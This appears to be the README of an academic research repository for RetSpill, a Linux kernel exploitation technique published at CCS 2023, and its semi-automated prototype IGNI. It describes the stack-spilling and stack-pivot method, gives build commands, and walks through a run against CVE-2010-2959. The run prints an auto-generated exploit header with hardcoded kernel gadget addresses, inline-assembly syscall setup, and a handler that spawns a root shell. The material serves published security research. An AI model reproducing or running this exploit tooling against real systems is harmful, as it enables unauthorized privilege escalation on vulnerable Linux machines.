RetSpill is a Linux kernel exploitation technique.
It uses the fact that there are already user-controllable data readily on the kernel stack when attackers obtain CFHP (control-flow hijacking primitive). Since the kernel stack for a specific thread (task) is shared, attackers can spill controlled data on the kernel stack before hand, and use stack shifting gadgets to redirect the control-flow (when CFHP is obtained) to the controlled region to launch code-reuse attack.
Using clever downstream usage of this fact, a CFHP can be turned into unlimited arbitrary read/write/execute without sacrificing the exploit reliability for heap-based vulnerability. This is because we can overwrite the function pointer on heap with a stack-shifting gadget, and invoke the function pointer again and again in different task-context. Most importantly, in each invocation, the payload on stack can be different, leading to invoking different payload without manipulating the heap, thus without introducing exploit reliability degradation.
In this work, we demonstrate that this technique is so simple that it can be semi-automated with our prototype, IGNI.
This repository contains the dataset we used in the paper and our research prototype IGNI.
We describe our findings in the full paper
RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections
Kyle Zeng, Zhenpeng Lin, Kangjie Lu, Xinyu Xing, Ruoyu Wang, Adam Doupé, Yan Shoshitaishvili, and Tiffany Bao
In Proceedings of ACM CCS Nov 2023,
@inproceedings{zeng2023retspill,
author = {Zeng, Kyle and Lin, Zhenpeng and Lu, Kangjie and Xing, Xinyu and Wang, Ruoyu and Doup\'{e}, Adam and Shoshitaishvili, Yan and Bao, Tiffany},
title = {RetSpill: Igniting User-Controlled Data to Burn Away Linux Kernel Protections},
year = {2023},
isbn = {9798400700507},
publisher = {Association for Computing Machinery},
address = {New York, NY, USA},
url = {https://doi-org.ezproxy1.lib.asu.edu/10.1145/3576915.3623220},
doi = {10.1145/3576915.3623220},
booktitle = {Proceedings of the 2023 ACM SIGSAC Conference on Computer and Communications Security},
pages = {3093–3107},
numpages = {15},
keywords = {os security, privilege escalation, kernel exploitation},
location = {, Copenhagen, Denmark, },
series = {CCS '23}
}
The name is a reference to a magical sign, Igni, in the video game Witcher 3: Wild Hunt. Igni can cast a burst of flame to enemies and and set enemies on fire if they are spilled with flammable substances, just like userspace input ;).
Follow Method2-step3 to build the file system image and then run
docker build -t retspill .
to build the docker image. Then run
docker run --privileged -it --rm retspill bash
to play with IGNI.
Notice that privileged
is necessary because we want to run qemu inside docker with kvm acceleration.
Install rust as instructed by its official website.
cargo install ropr
Igni uses QEMU v7.2.0 internally and it has to be v7.2.0. QEMU with version lower or higher than v7.2.0 has issues reconnecting to gdb after snapshot restoration.
git clone -b v7.2.0 --depth 1 https://git.qemu.org/git/qemu.git
mkdir qemu/build && cd qemu/build && ../configure --target-list=x86_64-softmmu --python=`which python3` --disable-debug-info --enable-slirp && make -j`nproc`
cd scripts/create-image/ && ./create-image.sh && cd ../..
Run the following command, where <retspill>/exploit_env/CVEs/CVE-2010-2959/poc/poc
is a proof-of-concept binary that will crash the kernel at PC==0xffffffffdeadbeef
.
python3 analyzer.py -k <retspill>/exploit_env/CVEs/CVE-2010-2959/kernel/arch/x86/boot/bzImage -e <retspill>/exploit_env/CVEs/CVE-2010-2959/poc/poc
After about 5-10 minutes, the system will output something like the following:
unsigned long pivot = 0xffffffff8194609e;
==============================================================
/******************************************************************/
/*************************AUTO GENERATED***************************/
#define _GNU_SOURCE
#ifndef va_start
#include <stdarg.h>
#endif
#ifndef assert
#include <assert.h>
#endif
#ifndef signal
#include <signal.h>
#endif
#ifndef sched_setaffinity
#include <sched.h>
#endif
// we need this because rcx may not be restored in the trampoline
// so it will crash during kernel-user switch
void get_shell(int signum) {
printf("uid: %d\n", getuid());
system("/bin/sh");
while(1);
}
void __attribute__((constructor)) _igni_init() {
signal(SIGSEGV, get_shell);
signal(SIGTRAP, get_shell);
}
unsigned long _args[6];
unsigned long _arg_num = 0;
void __trigger()
{
__asm__(".intel_syntax noprefix;"
"push rbp;"
"mov rcx, %0;"
"mov rdi, [rcx+8*0];"
"mov rsi, [rcx+8*1];"
"mov rdx, [rcx+8*2];"
"mov r10, [rcx+8*3];"
"mov r8, [rcx+8*4];"
"mov r9, [rcx+8*5];"
"mov rbx, 0xffffffff81e001bb;"
"mov rbp, 0xffffffff8244ab00;"
"mov r12, 0xffffffff810d0ad0;"
"mov r13, 0xffffffff81a373ec;"
"mov r10, 0xffffffff81c00162;"
"mov rax, 16;"
"syscall;"
"pop rbp;"
".att_syntax;"
: : "r"(_args));
}
void _trigger(int num_args, ...)
{
va_list ap;
va_start(ap, num_args);
for(int i=0; i<num_args; i++) {
_args[_arg_num++] = va_arg(ap, unsigned long);
}
va_arg(ap, unsigned long);
va_end(ap);
__asm__(".intel_syntax noprefix;"
"call __trigger;"
".att_syntax;");
_arg_num = 0;
if(getuid() == 0) get_shell(0);
}
#define NUMARGS(...) (sizeof((unsigned long[]){__VA_ARGS__})/sizeof(unsigned long))
#define ignite(...) _trigger(NUMARGS(__VA_ARGS__), __VA_ARGS__ )
/*************************AUTO GENERATED***************************/
/******************************************************************/
All you need to do is to:
- include the generated header file
- hijack the kernel control-flow to
unsigned long pivot = 0xffffffff8194609e;
- change how you invoke the triggering system call to
ignite(...)
Then you can enjoy your root shell!!!
A sample result can be found at <retspill>/exploit_env/CVEs/CVE-2010-2959/poc/exp.c
(the original is poc.c)